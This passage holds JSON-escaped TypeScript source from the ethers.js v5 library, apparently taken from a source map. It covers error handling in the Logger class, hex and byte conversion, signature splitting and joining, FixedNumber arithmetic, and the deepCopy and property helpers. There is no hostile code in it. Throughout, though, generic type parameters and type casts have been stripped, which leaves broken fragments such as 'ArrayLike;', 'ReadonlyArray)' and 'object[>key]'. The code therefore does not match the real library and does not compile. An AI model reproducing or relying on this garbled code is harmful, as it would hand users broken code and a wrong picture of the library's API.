ErrorCode.NONCE_EXPIRED:\n case ErrorCode.REPLACEMENT_UNDERPRICED:\n case ErrorCode.TRANSACTION_REPLACED:\n case ErrorCode.UNPREDICTABLE_GAS_LIMIT:\n url = code;\n break;\n }\n\n if (url) {\n message += \" [ See: https:/\\/links.ethers.org/v5-errors-\" + url + \" ]\";\n }\n\n if (messageDetails.length) {\n message += \" (\" + messageDetails.join(\", \") + \")\";\n }\n\n // @TODO: Any??\n const error: any = new Error(message);\n error.reason = reason;\n error.code = code\n\n Object.keys(params).forEach(function(key) {\n error[key] = params[key];\n });\n\n return error;\n }\n\n throwError(message: string, code?: ErrorCode, params?: any): never {\n throw this.makeError(message, code, params);\n }\n\n throwArgumentError(message: string, name: string, value: any): never {\n return this.throwError(message, Logger.errors.INVALID_ARGUMENT, {\n argument: name,\n value: value\n });\n }\n\n assert(condition: any, message: string, code?: ErrorCode, params?: any): void {\n if (!!condition) { return; }\n this.throwError(message, code, params);\n }\n\n assertArgument(condition: any, message: string, name: string, value: any): void {\n if (!!condition) { return; }\n this.throwArgumentError(message, name, value);\n }\n\n checkNormalize(message?: string): void {\n if (message == null) { message = \"platform missing String.prototype.normalize\"; }\n if (_normalizeError) {\n this.throwError(\"platform missing String.prototype.normalize\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"String.prototype.normalize\", form: _normalizeError\n });\n }\n }\n\n checkSafeUint53(value: number, message?: string): void {\n if (typeof(value) !== \"number\") { return; }\n\n if (message == null) { message = \"value not safe\"; }\n\n if (value < 0 || value >= 0x1fffffffffffff) {\n this.throwError(message, Logger.errors.NUMERIC_FAULT, {\n operation: \"checkSafeInteger\",\n fault: \"out-of-safe-range\",\n value: value\n });\n }\n\n if (value % 1) {\n this.throwError(message, Logger.errors.NUMERIC_FAULT, {\n operation: \"checkSafeInteger\",\n fault: \"non-integer\",\n value: value\n });\n }\n }\n\n checkArgumentCount(count: number, expectedCount: number, message?: string): void {\n if (message) {\n message = \": \" + message;\n } else {\n message = \"\";\n }\n\n if (count < expectedCount) {\n this.throwError(\"missing argument\" + message, Logger.errors.MISSING_ARGUMENT, {\n count: count,\n expectedCount: expectedCount\n });\n }\n\n if (count > expectedCount) {\n this.throwError(\"too many arguments\" + message, Logger.errors.UNEXPECTED_ARGUMENT, {\n count: count,\n expectedCount: expectedCount\n });\n }\n }\n\n checkNew(target: any, kind: any): void {\n if (target === Object || target == null) {\n this.throwError(\"missing new\", Logger.errors.MISSING_NEW, { name: kind.name });\n }\n }\n\n checkAbstract(target: any, kind: any): void {\n if (target === kind) {\n this.throwError(\n \"cannot instantiate abstract class \" + JSON.stringify(kind.name) + \" directly; use a sub-class\",\n Logger.errors.UNSUPPORTED_OPERATION,\n { name: target.name, operation: \"new\" }\n );\n } else if (target === Object || target == null) {\n this.throwError(\"missing new\", Logger.errors.MISSING_NEW, { name: kind.name });\n }\n }\n\n static globalLogger(): Logger {\n if (!_globalLogger) { _globalLogger = new Logger(version); }\n return _globalLogger;\n }\n\n static setCensorship(censorship: boolean, permanent?: boolean): void {\n if (!censorship && permanent) {\n this.globalLogger().throwError(\"cannot permanently disable censorship\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"setCensorship\"\n });\n }\n\n if (_permanentCensorErrors) {\n if (!censorship) { return; }\n this.globalLogger().throwError(\"error censorship permanent\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"setCensorship\"\n });\n }\n\n _censorErrors = !!censorship;\n _permanentCensorErrors = !!permanent;\n }\n\n static setLogLevel(logLevel: LogLevel): void {\n const level = LogLevels[logLevel.toLowerCase()];\n if (level == null) {\n Logger.globalLogger().warn(\"invalid log level - \" + logLevel);\n return;\n }\n _logLevel = level;\n }\n\n static from(version: string): Logger {\n return new Logger(version);\n }\n}\n", "export const version = \"bytes/5.7.0\";\n", "\"use strict\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\n///////////////////////////////\n// Exported Types\n\nexport type Bytes = ArrayLike;\n\nexport type BytesLike = Bytes | string;\n\nexport type DataOptions = {\n allowMissingPrefix?: boolean;\n hexPad?: \"left\" | \"right\" | null;\n};\n\nexport interface Hexable {\n toHexString(): string;\n}\n\n\n/*\nexport interface HexString {\n length: number;\n substring: (start: number, end?: number) => string;\n\n [index: number]: string;\n}\n*/\n\nexport type SignatureLike = {\n r: string;\n s?: string;\n _vs?: string,\n recoveryParam?: number;\n v?: number;\n} | BytesLike;\n\nexport interface Signature {\n r: string;\n\n s: string;\n _vs: string,\n\n recoveryParam: number;\n v: number;\n\n yParityAndS: string\n compact: string;\n}\n\n///////////////////////////////\n\n\nfunction isHexable(value: any): value is Hexable {\n return !!(value.toHexString);\n}\n\nfunction addSlice(array: Uint8Array): Uint8Array {\n if (array.slice) { return array; }\n\n array.slice = function() {\n const args = Array.prototype.slice.call(arguments);\n return addSlice(new Uint8Array(Array.prototype.slice.apply(array, args)));\n }\n\n return array;\n}\n\nexport function isBytesLike(value: any): value is BytesLike {\n return ((isHexString(value) && !(value.length % 2)) || isBytes(value));\n}\n\nfunction isInteger(value: number) {\n return (typeof(value) === \"number\" && value == value && (value % 1) === 0);\n}\n\nexport function isBytes(value: any): value is Bytes {\n if (value == null) { return false; }\n\n if (value.constructor === Uint8Array) { return true; }\n if (typeof(value) === \"string\") { return false; }\n if (!isInteger(value.length) || value.length < 0) { return false; }\n\n for (let i = 0; i < value.length; i++) {\n const v = value[i];\n if (!isInteger(v) || v < 0 || v >= 256) { return false; }\n }\n return true;\n}\n\n\nexport function arrayify(value: BytesLike | Hexable | number, options?: DataOptions): Uint8Array {\n if (!options) { options = { }; }\n\n if (typeof(value) === \"number\") {\n logger.checkSafeUint53(value, \"invalid arrayify value\");\n\n const result = [];\n while (value) {\n result.unshift(value & 0xff);\n value = parseInt(String(value / 256));\n }\n if (result.length === 0) { result.push(0); }\n\n return addSlice(new Uint8Array(result));\n }\n\n if (options.allowMissingPrefix && typeof(value) === \"string\" && value.substring(0, 2) !== \"0x\") {\n value = \"0x\" + value;\n }\n\n if (isHexable(value)) { value = value.toHexString(); }\n\n if (isHexString(value)) {\n let hex = (value).substring(2);\n if (hex.length % 2) {\n if (options.hexPad === \"left\") {\n hex = \"0\" + hex;\n } else if (options.hexPad === \"right\") {\n hex += \"0\";\n } else {\n logger.throwArgumentError(\"hex data is odd-length\", \"value\", value);\n }\n }\n\n const result = [];\n for (let i = 0; i < hex.length; i += 2) {\n result.push(parseInt(hex.substring(i, i + 2), 16));\n }\n\n return addSlice(new Uint8Array(result));\n }\n\n if (isBytes(value)) {\n return addSlice(new Uint8Array(value));\n }\n\n return logger.throwArgumentError(\"invalid arrayify value\", \"value\", value);\n}\n\nexport function concat(items: ReadonlyArray): Uint8Array {\n const objects = items.map(item => arrayify(item));\n const length = objects.reduce((accum, item) => (accum + item.length), 0);\n\n const result = new Uint8Array(length);\n\n objects.reduce((offset, object) => {\n result.set(object, offset);\n return offset + object.length;\n }, 0);\n\n return addSlice(result);\n}\n\nexport function stripZeros(value: BytesLike): Uint8Array {\n let result: Uint8Array = arrayify(value);\n\n if (result.length === 0) { return result; }\n\n // Find the first non-zero entry\n let start = 0;\n while (start < result.length && result[start] === 0) { start++ }\n\n // If we started with zeros, strip them\n if (start) {\n result = result.slice(start);\n }\n\n return result;\n}\n\nexport function zeroPad(value: BytesLike, length: number): Uint8Array {\n value = arrayify(value);\n\n if (value.length > length) {\n logger.throwArgumentError(\"value out of range\", \"value\", arguments[0]);\n }\n\n const result = new Uint8Array(length);\n result.set(value, length - value.length);\n return addSlice(result);\n}\n\n\nexport function isHexString(value: any, length?: number): boolean {\n if (typeof(value) !== \"string\" || !value.match(/^0x[0-9A-Fa-f]*$/)) {\n return false\n }\n if (length && value.length !== 2 + 2 * length) { return false; }\n return true;\n}\n\nconst HexCharacters: string = \"0123456789abcdef\";\n\nexport function hexlify(value: BytesLike | Hexable | number | bigint, options?: DataOptions): string {\n if (!options) { options = { }; }\n\n if (typeof(value) === \"number\") {\n logger.checkSafeUint53(value, \"invalid hexlify value\");\n\n let hex = \"\";\n while (value) {\n hex = HexCharacters[value & 0xf] + hex;\n value = Math.floor(value / 16);\n }\n\n if (hex.length) {\n if (hex.length % 2) { hex = \"0\" + hex; }\n return \"0x\" + hex;\n }\n\n return \"0x00\";\n }\n\n if (typeof(value) === \"bigint\") {\n value = value.toString(16);\n if (value.length % 2) { return (\"0x0\" + value); }\n return \"0x\" + value;\n }\n\n if (options.allowMissingPrefix && typeof(value) === \"string\" && value.substring(0, 2) !== \"0x\") {\n value = \"0x\" + value;\n }\n\n if (isHexable(value)) { return value.toHexString(); }\n\n if (isHexString(value)) {\n if ((value).length % 2) {\n if (options.hexPad === \"left\") {\n value = \"0x0\" + (value).substring(2);\n } else if (options.hexPad === \"right\") {\n value += \"0\";\n } else {\n logger.throwArgumentError(\"hex data is odd-length\", \"value\", value);\n }\n }\n return (value).toLowerCase();\n }\n\n if (isBytes(value)) {\n let result = \"0x\";\n for (let i = 0; i < value.length; i++) {\n let v = value[i];\n result += HexCharacters[(v & 0xf0) >> 4] + HexCharacters[v & 0x0f];\n }\n return result;\n }\n\n return logger.throwArgumentError(\"invalid hexlify value\", \"value\", value);\n}\n\n/*\nfunction unoddify(value: BytesLike | Hexable | number): BytesLike | Hexable | number {\n if (typeof(value) === \"string\" && value.length % 2 && value.substring(0, 2) === \"0x\") {\n return \"0x0\" + value.substring(2);\n }\n return value;\n}\n*/\nexport function hexDataLength(data: BytesLike) {\n if (typeof(data) !== \"string\") {\n data = hexlify(data);\n } else if (!isHexString(data) || (data.length % 2)) {\n return null;\n }\n\n return (data.length - 2) / 2;\n}\n\nexport function hexDataSlice(data: BytesLike, offset: number, endOffset?: number): string {\n if (typeof(data) !== \"string\") {\n data = hexlify(data);\n } else if (!isHexString(data) || (data.length % 2)) {\n logger.throwArgumentError(\"invalid hexData\", \"value\", data );\n }\n\n offset = 2 + 2 * offset;\n\n if (endOffset != null) {\n return \"0x\" + data.substring(offset, 2 + 2 * endOffset);\n }\n\n return \"0x\" + data.substring(offset);\n}\n\nexport function hexConcat(items: ReadonlyArray): string {\n let result = \"0x\";\n items.forEach((item) => {\n result += hexlify(item).substring(2);\n });\n return result;\n}\n\nexport function hexValue(value: BytesLike | Hexable | number | bigint): string {\n const trimmed = hexStripZeros(hexlify(value, { hexPad: \"left\" }));\n if (trimmed === \"0x\") { return \"0x0\"; }\n return trimmed;\n}\n\nexport function hexStripZeros(value: BytesLike): string {\n if (typeof(value) !== \"string\") { value = hexlify(value); }\n\n if (!isHexString(value)) {\n logger.throwArgumentError(\"invalid hex string\", \"value\", value);\n }\n value = value.substring(2);\n let offset = 0;\n while (offset < value.length && value[offset] === \"0\") { offset++; }\n return \"0x\" + value.substring(offset);\n}\n\nexport function hexZeroPad(value: BytesLike, length: number): string {\n if (typeof(value) !== \"string\") {\n value = hexlify(value);\n } else if (!isHexString(value)) {\n logger.throwArgumentError(\"invalid hex string\", \"value\", value);\n }\n\n if (value.length > 2 * length + 2) {\n logger.throwArgumentError(\"value out of range\", \"value\", arguments[1]);\n }\n\n while (value.length < 2 * length + 2) {\n value = \"0x0\" + value.substring(2);\n }\n\n return value;\n}\n\nexport function splitSignature(signature: SignatureLike): Signature {\n\n const result = {\n r: \"0x\",\n s: \"0x\",\n _vs: \"0x\",\n recoveryParam: 0,\n v: 0,\n yParityAndS: \"0x\",\n compact: \"0x\"\n };\n\n if (isBytesLike(signature)) {\n let bytes: Uint8Array = arrayify(signature);\n\n // Get the r, s and v\n if (bytes.length === 64) {\n // EIP-2098; pull the v from the top bit of s and clear it\n result.v = 27 + (bytes[32] >> 7);\n bytes[32] &= 0x7f;\n\n result.r = hexlify(bytes.slice(0, 32));\n result.s = hexlify(bytes.slice(32, 64));\n\n } else if (bytes.length === 65) {\n result.r = hexlify(bytes.slice(0, 32));\n result.s = hexlify(bytes.slice(32, 64));\n result.v = bytes[64];\n } else {\n\n logger.throwArgumentError(\"invalid signature string\", \"signature\", signature);\n }\n\n\n // Allow a recid to be used as the v\n if (result.v < 27) {\n if (result.v === 0 || result.v === 1) {\n result.v += 27;\n } else {\n logger.throwArgumentError(\"signature invalid v byte\", \"signature\", signature);\n }\n }\n\n // Compute recoveryParam from v\n result.recoveryParam = 1 - (result.v % 2);\n\n // Compute _vs from recoveryParam and s\n if (result.recoveryParam) { bytes[32] |= 0x80; }\n result._vs = hexlify(bytes.slice(32, 64))\n\n } else {\n result.r = signature.r;\n result.s = signature.s;\n result.v = signature.v;\n result.recoveryParam = signature.recoveryParam;\n result._vs = signature._vs;\n\n // If the _vs is available, use it to populate missing s, v and recoveryParam\n // and verify non-missing s, v and recoveryParam\n if (result._vs != null) {\n const vs = zeroPad(arrayify(result._vs), 32);\n result._vs = hexlify(vs);\n\n // Set or check the recid\n const recoveryParam = ((vs[0] >= 128) ? 1: 0);\n if (result.recoveryParam == null) {\n result.recoveryParam = recoveryParam;\n } else if (result.recoveryParam !== recoveryParam) {\n logger.throwArgumentError(\"signature recoveryParam mismatch _vs\", \"signature\", signature);\n }\n\n // Set or check the s\n vs[0] &= 0x7f;\n const s = hexlify(vs);\n if (result.s == null) {\n result.s = s;\n } else if (result.s !== s) {\n logger.throwArgumentError(\"signature v mismatch _vs\", \"signature\", signature);\n }\n }\n\n // Use recid and v to populate each other\n if (result.recoveryParam == null) {\n if (result.v == null) {\n logger.throwArgumentError(\"signature missing v and recoveryParam\", \"signature\", signature);\n } else if (result.v === 0 || result.v === 1) {\n result.recoveryParam = result.v;\n } else {\n result.recoveryParam = 1 - (result.v % 2);\n }\n } else {\n if (result.v == null) {\n result.v = 27 + result.recoveryParam;\n } else {\n const recId = (result.v === 0 || result.v === 1) ? result.v :(1 - (result.v % 2));\n if (result.recoveryParam !== recId) {\n logger.throwArgumentError(\"signature recoveryParam mismatch v\", \"signature\", signature);\n }\n }\n }\n\n if (result.r == null || !isHexString(result.r)) {\n logger.throwArgumentError(\"signature missing or invalid r\", \"signature\", signature);\n } else {\n result.r = hexZeroPad(result.r, 32);\n }\n\n if (result.s == null || !isHexString(result.s)) {\n logger.throwArgumentError(\"signature missing or invalid s\", \"signature\", signature);\n } else {\n result.s = hexZeroPad(result.s, 32);\n }\n\n const vs = arrayify(result.s);\n if (vs[0] >= 128) {\n logger.throwArgumentError(\"signature s out of range\", \"signature\", signature);\n }\n if (result.recoveryParam) { vs[0] |= 0x80; }\n const _vs = hexlify(vs);\n\n if (result._vs) {\n if (!isHexString(result._vs)) {\n logger.throwArgumentError(\"signature invalid _vs\", \"signature\", signature);\n }\n result._vs = hexZeroPad(result._vs, 32);\n }\n\n // Set or check the _vs\n if (result._vs == null) {\n result._vs = _vs;\n } else if (result._vs !== _vs) {\n logger.throwArgumentError(\"signature _vs mismatch v and s\", \"signature\", signature);\n }\n }\n\n result.yParityAndS = result._vs;\n result.compact = result.r + result.yParityAndS.substring(2);\n\n return result;\n}\n\nexport function joinSignature(signature: SignatureLike): string {\n signature = splitSignature(signature);\n\n return hexlify(concat([\n signature.r,\n signature.s,\n (signature.recoveryParam ? \"0x1c\": \"0x1b\")\n ]));\n}\n\n", "export const version = \"bignumber/5.7.0\";\n", "\"use strict\";\n\nimport { arrayify, BytesLike, hexZeroPad, isBytes } from \"@ethersproject/bytes\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nimport { BigNumber, BigNumberish, isBigNumberish } from \"./bignumber\";\n\nconst _constructorGuard = { };\n\nconst Zero = BigNumber.from(0);\nconst NegativeOne = BigNumber.from(-1);\n\nfunction throwFault(message: string, fault: string, operation: string, value?: any): never {\n const params: any = { fault: fault, operation: operation };\n if (value !== undefined) { params.value = value; }\n return logger.throwError(message, Logger.errors.NUMERIC_FAULT, params);\n}\n\n// Constant to pull zeros from for multipliers\nlet zeros = \"0\";\nwhile (zeros.length < 256) { zeros += zeros; }\n\n// Returns a string \"1\" followed by decimal \"0\"s\nfunction getMultiplier(decimals: BigNumberish): string {\n\n if (typeof(decimals) !== \"number\") {\n try {\n decimals = BigNumber.from(decimals).toNumber();\n } catch (e) { }\n }\n\n if (typeof(decimals) === \"number\" && decimals >= 0 && decimals <= 256 && !(decimals % 1)) {\n return (\"1\" + zeros.substring(0, decimals));\n }\n\n return logger.throwArgumentError(\"invalid decimal size\", \"decimals\", decimals);\n}\n\nexport function formatFixed(value: BigNumberish, decimals?: string | BigNumberish): string {\n if (decimals == null) { decimals = 0; }\n const multiplier = getMultiplier(decimals);\n\n // Make sure wei is a big number (convert as necessary)\n value = BigNumber.from(value);\n\n const negative = value.lt(Zero);\n if (negative) { value = value.mul(NegativeOne); }\n\n let fraction = value.mod(multiplier).toString();\n while (fraction.length < multiplier.length - 1) { fraction = \"0\" + fraction; }\n\n // Strip training 0\n fraction = fraction.match(/^([0-9]*[1-9]|0)(0*)/)[1];\n\n const whole = value.div(multiplier).toString();\n if (multiplier.length === 1) {\n value = whole;\n } else {\n value = whole + \".\" + fraction;\n }\n\n if (negative) { value = \"-\" + value; }\n\n return value;\n}\n\nexport function parseFixed(value: string, decimals?: BigNumberish): BigNumber {\n\n if (decimals == null) { decimals = 0; }\n const multiplier = getMultiplier(decimals);\n\n if (typeof(value) !== \"string\" || !value.match(/^-?[0-9.]+$/)) {\n logger.throwArgumentError(\"invalid decimal value\", \"value\", value);\n }\n\n // Is it negative?\n const negative = (value.substring(0, 1) === \"-\");\n if (negative) { value = value.substring(1); }\n\n if (value === \".\") {\n logger.throwArgumentError(\"missing value\", \"value\", value);\n }\n\n // Split it into a whole and fractional part\n const comps = value.split(\".\");\n if (comps.length > 2) {\n logger.throwArgumentError(\"too many decimal points\", \"value\", value);\n }\n\n let whole = comps[0], fraction = comps[1];\n if (!whole) { whole = \"0\"; }\n if (!fraction) { fraction = \"0\"; }\n\n // Trim trailing zeros\n while (fraction[fraction.length - 1] === \"0\") {\n fraction = fraction.substring(0, fraction.length - 1);\n }\n\n // Check the fraction doesn't exceed our decimals size\n if (fraction.length > multiplier.length - 1) {\n throwFault(\"fractional component exceeds decimals\", \"underflow\", \"parseFixed\");\n }\n\n // If decimals is 0, we have an empty string for fraction\n if (fraction === \"\") { fraction = \"0\"; }\n\n // Fully pad the string with zeros to get to wei\n while (fraction.length < multiplier.length - 1) { fraction += \"0\"; }\n\n const wholeValue = BigNumber.from(whole);\n const fractionValue = BigNumber.from(fraction);\n\n let wei = (wholeValue.mul(multiplier)).add(fractionValue);\n\n if (negative) { wei = wei.mul(NegativeOne); }\n\n return wei;\n}\n\n\nexport class FixedFormat {\n readonly signed: boolean;\n readonly width: number;\n readonly decimals: number;\n readonly name: string;\n readonly _multiplier: string;\n\n constructor(constructorGuard: any, signed: boolean, width: number, decimals: number) {\n if (constructorGuard !== _constructorGuard) {\n logger.throwError(\"cannot use FixedFormat constructor; use FixedFormat.from\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"new FixedFormat\"\n });\n }\n\n this.signed = signed;\n this.width = width;\n this.decimals = decimals;\n\n this.name = (signed ? \"\": \"u\") + \"fixed\" + String(width) + \"x\" + String(decimals);\n\n this._multiplier = getMultiplier(decimals);\n\n Object.freeze(this);\n }\n\n static from(value: any): FixedFormat {\n if (value instanceof FixedFormat) { return value; }\n\n if (typeof(value) === \"number\") {\n value = `fixed128x${value}`\n }\n\n let signed = true;\n let width = 128;\n let decimals = 18;\n\n if (typeof(value) === \"string\") {\n if (value === \"fixed\") {\n // defaults...\n } else if (value === \"ufixed\") {\n signed = false;\n } else {\n const match = value.match(/^(u?)fixed([0-9]+)x([0-9]+)$/);\n if (!match) { logger.throwArgumentError(\"invalid fixed format\", \"format\", value); }\n signed = (match[1] !== \"u\");\n width = parseInt(match[2]);\n decimals = parseInt(match[3]);\n }\n } else if (value) {\n const check = (key: string, type: string, defaultValue: any): any => {\n if (value[key] == null) { return defaultValue; }\n if (typeof(value[key]) !== type) {\n logger.throwArgumentError(\"invalid fixed format (\" + key + \" not \" + type +\")\", \"format.\" + key, value[key]);\n }\n return value[key];\n }\n signed = check(\"signed\", \"boolean\", signed);\n width = check(\"width\", \"number\", width);\n decimals = check(\"decimals\", \"number\", decimals);\n }\n\n if (width % 8) {\n logger.throwArgumentError(\"invalid fixed format width (not byte aligned)\", \"format.width\", width);\n }\n\n if (decimals > 80) {\n logger.throwArgumentError(\"invalid fixed format (decimals too large)\", \"format.decimals\", decimals);\n }\n\n return new FixedFormat(_constructorGuard, signed, width, decimals);\n }\n}\n\nexport class FixedNumber {\n readonly format: FixedFormat;\n readonly _hex: string;\n readonly _value: string;\n\n readonly _isFixedNumber: boolean;\n\n constructor(constructorGuard: any, hex: string, value: string, format?: FixedFormat) {\n if (constructorGuard !== _constructorGuard) {\n logger.throwError(\"cannot use FixedNumber constructor; use FixedNumber.from\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"new FixedFormat\"\n });\n }\n\n this.format = format;\n this._hex = hex;\n this._value = value;\n\n this._isFixedNumber = true;\n\n Object.freeze(this);\n }\n\n _checkFormat(other: FixedNumber): void {\n if (this.format.name !== other.format.name) {\n logger.throwArgumentError(\"incompatible format; use fixedNumber.toFormat\", \"other\", other);\n }\n }\n\n addUnsafe(other: FixedNumber): FixedNumber {\n this._checkFormat(other);\n const a = parseFixed(this._value, this.format.decimals);\n const b = parseFixed(other._value, other.format.decimals);\n return FixedNumber.fromValue(a.add(b), this.format.decimals, this.format);\n }\n\n subUnsafe(other: FixedNumber): FixedNumber {\n this._checkFormat(other);\n const a = parseFixed(this._value, this.format.decimals);\n const b = parseFixed(other._value, other.format.decimals);\n return FixedNumber.fromValue(a.sub(b), this.format.decimals, this.format);\n }\n\n mulUnsafe(other: FixedNumber): FixedNumber {\n this._checkFormat(other);\n const a = parseFixed(this._value, this.format.decimals);\n const b = parseFixed(other._value, other.format.decimals);\n return FixedNumber.fromValue(a.mul(b).div(this.format._multiplier), this.format.decimals, this.format);\n }\n\n divUnsafe(other: FixedNumber): FixedNumber {\n this._checkFormat(other);\n const a = parseFixed(this._value, this.format.decimals);\n const b = parseFixed(other._value, other.format.decimals);\n return FixedNumber.fromValue(a.mul(this.format._multiplier).div(b), this.format.decimals, this.format);\n }\n\n floor(): FixedNumber {\n const comps = this.toString().split(\".\");\n if (comps.length === 1) { comps.push(\"0\"); }\n\n let result = FixedNumber.from(comps[0], this.format);\n\n const hasFraction = !comps[1].match(/^(0*)$/);\n if (this.isNegative() && hasFraction) {\n result = result.subUnsafe(ONE.toFormat(result.format));\n }\n\n return result;\n }\n\n ceiling(): FixedNumber {\n const comps = this.toString().split(\".\");\n if (comps.length === 1) { comps.push(\"0\"); }\n\n let result = FixedNumber.from(comps[0], this.format);\n\n const hasFraction = !comps[1].match(/^(0*)$/);\n if (!this.isNegative() && hasFraction) {\n result = result.addUnsafe(ONE.toFormat(result.format));\n }\n\n return result;\n }\n\n // @TODO: Support other rounding algorithms\n round(decimals?: number): FixedNumber {\n if (decimals == null) { decimals = 0; }\n\n // If we are already in range, we're done\n const comps = this.toString().split(\".\");\n if (comps.length === 1) { comps.push(\"0\"); }\n\n if (decimals < 0 || decimals > 80 || (decimals % 1)) {\n logger.throwArgumentError(\"invalid decimal count\", \"decimals\", decimals);\n }\n\n if (comps[1].length <= decimals) { return this; }\n\n const factor = FixedNumber.from(\"1\" + zeros.substring(0, decimals), this.format);\n const bump = BUMP.toFormat(this.format);\n\n return this.mulUnsafe(factor).addUnsafe(bump).floor().divUnsafe(factor);\n }\n\n isZero(): boolean {\n return (this._value === \"0.0\" || this._value === \"0\");\n }\n\n isNegative(): boolean {\n return (this._value[0] === \"-\");\n }\n\n toString(): string { return this._value; }\n\n toHexString(width?: number): string {\n if (width == null) { return this._hex; }\n if (width % 8) { logger.throwArgumentError(\"invalid byte width\", \"width\", width); }\n const hex = BigNumber.from(this._hex).fromTwos(this.format.width).toTwos(width).toHexString();\n return hexZeroPad(hex, width / 8);\n }\n\n toUnsafeFloat(): number { return parseFloat(this.toString()); }\n\n toFormat(format: FixedFormat | string): FixedNumber {\n return FixedNumber.fromString(this._value, format);\n }\n\n\n static fromValue(value: BigNumber, decimals?: BigNumberish, format?: FixedFormat | string | number): FixedNumber {\n // If decimals looks more like a format, and there is no format, shift the parameters\n if (format == null && decimals != null && !isBigNumberish(decimals)) {\n format = decimals;\n decimals = null;\n }\n\n if (decimals == null) { decimals = 0; }\n if (format == null) { format = \"fixed\"; }\n\n return FixedNumber.fromString(formatFixed(value, decimals), FixedFormat.from(format));\n }\n\n\n static fromString(value: string, format?: FixedFormat | string | number): FixedNumber {\n if (format == null) { format = \"fixed\"; }\n\n const fixedFormat = FixedFormat.from(format);\n\n const numeric = parseFixed(value, fixedFormat.decimals);\n\n if (!fixedFormat.signed && numeric.lt(Zero)) {\n throwFault(\"unsigned value cannot be negative\", \"overflow\", \"value\", value);\n }\n\n let hex: string = null;\n if (fixedFormat.signed) {\n hex = numeric.toTwos(fixedFormat.width).toHexString();\n } else {\n hex = numeric.toHexString();\n hex = hexZeroPad(hex, fixedFormat.width / 8);\n }\n\n const decimal = formatFixed(numeric, fixedFormat.decimals);\n\n return new FixedNumber(_constructorGuard, hex, decimal, fixedFormat);\n }\n\n static fromBytes(value: BytesLike, format?: FixedFormat | string | number): FixedNumber {\n if (format == null) { format = \"fixed\"; }\n\n const fixedFormat = FixedFormat.from(format);\n\n if (arrayify(value).length > fixedFormat.width / 8) {\n throw new Error(\"overflow\");\n }\n\n let numeric = BigNumber.from(value);\n if (fixedFormat.signed) { numeric = numeric.fromTwos(fixedFormat.width); }\n\n const hex = numeric.toTwos((fixedFormat.signed ? 0: 1) + fixedFormat.width).toHexString();\n const decimal = formatFixed(numeric, fixedFormat.decimals);\n\n return new FixedNumber(_constructorGuard, hex, decimal, fixedFormat);\n }\n\n static from(value: any, format?: FixedFormat | string | number) {\n if (typeof(value) === \"string\") {\n return FixedNumber.fromString(value, format);\n }\n\n if (isBytes(value)) {\n return FixedNumber.fromBytes(value, format);\n }\n\n try {\n return FixedNumber.fromValue(value, 0, format);\n } catch (error) {\n // Allow NUMERIC_FAULT to bubble up\n if (error.code !== Logger.errors.INVALID_ARGUMENT) {\n throw error;\n }\n }\n\n return logger.throwArgumentError(\"invalid FixedNumber value\", \"value\", value);\n }\n\n static isFixedNumber(value: any): value is FixedNumber {\n return !!(value && value._isFixedNumber);\n }\n}\n\nconst ONE = FixedNumber.from(1);\nconst BUMP = FixedNumber.from(\"0.5\");\n", "export const version = \"properties/5.7.0\";\n", "\"use strict\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nexport function defineReadOnly(object: T, name: K, value: T[K]): void {\n Object.defineProperty(object, name, {\n enumerable: true,\n value: value,\n writable: false,\n });\n}\n\n// Crawl up the constructor chain to find a static method\nexport function getStatic(ctor: any, key: string): T {\n for (let i = 0; i < 32; i++) {\n if (ctor[key]) { return ctor[key]; }\n if (!ctor.prototype || typeof(ctor.prototype) !== \"object\") { break; }\n ctor = Object.getPrototypeOf(ctor.prototype).constructor;\n }\n return null;\n}\n\nexport type Deferrable = {\n [ K in keyof T ]: T[K] | Promise;\n}\n\n\ntype Result = { key: string, value: any};\n\nexport async function resolveProperties(object: Readonly>): Promise {\n const promises: Array> = Object.keys(object).map((key) => {\n const value = object[>key];\n return Promise.resolve(value).then((v) => ({ key: key, value: v }));\n });\n\n const results = await Promise.all(promises);\n\n return results.reduce((accum, result) => {\n accum[(result.key)] = result.value;\n return accum;\n }, { });\n}\n\nexport function checkProperties(object: any, properties: { [ name: string ]: boolean }): void {\n if (!object || typeof(object) !== \"object\") {\n logger.throwArgumentError(\"invalid object\", \"object\", object);\n }\n\n Object.keys(object).forEach((key) => {\n if (!properties[key]) {\n logger.throwArgumentError(\"invalid object key - \" + key, \"transaction:\" + key, object);\n }\n });\n}\n\nexport function shallowCopy(object: T): T {\n const result: any = {};\n for (const key in object) { result[key] = object[key]; }\n return result;\n}\n\nconst opaque: { [key: string]: boolean } = { bigint: true, boolean: true, \"function\": true, number: true, string: true };\n\nfunction _isFrozen(object: any): boolean {\n\n // Opaque objects are not mutable, so safe to copy by assignment\n if (object === undefined || object === null || opaque[typeof(object)]) { return true; }\n\n if (Array.isArray(object) || typeof(object) === \"object\") {\n if (!Object.isFrozen(object)) { return false; }\n\n const keys = Object.keys(object);\n for (let i = 0; i < keys.length; i++) {\n let value: any = null;\n try {\n value = object[keys[i]];\n } catch (error) {\n // If accessing a value triggers an error, it is a getter\n // designed to do so (e.g. Result) and is therefore \"frozen\"\n continue;\n }\n\n if (!_isFrozen(value)) { return false; }\n }\n\n return true;\n }\n\n return logger.throwArgumentError(`Cannot deepCopy ${ typeof(object) }`, \"object\", object);\n}\n\n// Returns a new copy of object, such that no properties may be replaced.\n// New properties may be added only to objects.\nfunction _deepCopy(object: any): any {\n\n if (_isFrozen(object)) { return object; }\n\n // Arrays are mutable, so we need to create a copy\n if (Array.isArray(object)) {\n return Object.freeze(object.map((item) => deepCopy(item)));\n }\n\n if (typeof(object) === \"object\") {\n const result: { [ key: string ]: any } = {};\n for (const key in object) {\n const value = object[key];\n if (value === undefined) { continue; }\n defineReadOnly(result, key, deepCopy(value));\n }\n\n return result;\n }\n\n return logger.throwArgumentError(`Cannot deepCopy ${ typeof(object) }`, \"object\", object);\n}\n\nexport function deepCopy(object: T): T {\n return _deepCopy(object);\n}\n\nexport class Description {\n constructor(info: { [ K in keyof T ]: T[K] }) {\n for (const key in info) {\n (this)[key] = deepCopy(info[key]);\n }\n }\n}\n", "export const version = \"abi/5.7.0\";\n", 